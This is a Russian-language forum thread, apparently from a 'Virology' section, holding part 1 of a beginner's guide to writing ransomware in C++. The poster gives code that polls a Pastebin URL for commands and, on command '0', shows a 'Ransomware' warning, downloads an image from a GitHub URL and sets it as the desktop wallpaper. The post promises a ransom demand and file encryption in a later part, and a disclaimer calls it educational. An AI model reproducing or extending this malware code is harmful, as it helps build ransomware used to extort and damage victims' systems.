Загрузка...

[TRASH CODE #2] | Writing a simple ransomware virus in C++ Part 1.

Thread in Virology created by ПереигралВсех Dec 6, 2021. (bumped Dec 6, 2021) 9859 views

  1. ПереигралВсех
    ПереигралВсех Topic starter Dec 6, 2021 Banned 1098 Feb 9, 2020
    Всем привет, этот гайд о том, как написать не сложный вирус вымогатель на C++.
    Данный гайд предназначен ТОЛЬКО для новичков.
    Опытным людям советую воздержаться от просмотра данной статьи, если вы не хотите сломать свою психику!
    Это первая часть, данная статья будет разделена на несколько статей.
    В 1 части, мы сделаем получение команд с сервера, и смену обоев на рабочем столе!
    ============================================================================================

    1. Для начала создаем пустой проект в C++.
    [IMG]
    2. Скачиваем данные файлы и кидаем их в папку с проектом DL
    (ПКМ по проекту > Открыть папку в проводнике)

    [IMG]
    3. Подключим инклуды.
    #include <iostream>
    #include "windows.h"
    #include "webclient.hpp"

    4. Для удобства пропишем namespace.
    using namespace std;
    using namespace WebClient;


    5. Создадим функцию main.

    Code
    int main()
    {
    }
    6. Добавим получение команды с сервера.
    6.1 Создаем пасту на Pastebin.com (Думаю все справятся)
    6.2 Пишем функцию main код.
    Code

    string url = "https://pastebin.com/raw/JCjtH0se";
    string command = DownloadString(url);
    7. Добавим условие, если команда 0, то сменим обои на раб. столе.

    Пишем код
    Code
        if (command == "0")
    {
    MessageBox(NULL, TEXT("Ooops..."), TEXT("Ransomware"), MB_ICONWARNING);

    string appdata = getenv("AppData");
    string name = "file.jpg";
    string File = appdata + name;

    DownloadFile("https://github.com/Makhronov/test/raw/main/ransom.jpg", (LPCSTR)File.c_str());

    SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)File.c_str(), SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    }

    Поясню за код.
    Ставим условие, если строка command = 0, то мы скачаем, и сменим обои на рабочем столе на наши.
    [IMG]
    Вот как выглядит наш код на данный момент.

    На этом думаю закончить 1 часть, во 2 части мы сделаем сообщение о просьбе денег, добавим пару прикалюх в наш вирус, и если успеем то сделаем шифрование файлов.

    Так-же, если у вас имеются идеи для данного вируса, пишите, и я попробую их реализовать.

    [IMG]

    P.S: Данная статья предназначена для ОЗНАКОМЛЕНИЯ, и для того что-бы вы понимали как работают вирусы изнутри, и смогли защищаться от них, ответственность за ваши действия лежит ТОЛЬКО на ВАС!
     
  2. Cockroach
    Cockroach Dec 11, 2021 Чекает прочеканые **** 39 Jun 8, 2021
    Что вообще такое паста с pastebin?
     
    1. ПереигралВсех Topic starter
      Cockroach, pastebin - сервис для хранения текстовой информации
  3. СынСкупкиЮтуба
    Найс запарился броски, пойду чекну вторую часть
     
Loading...
Top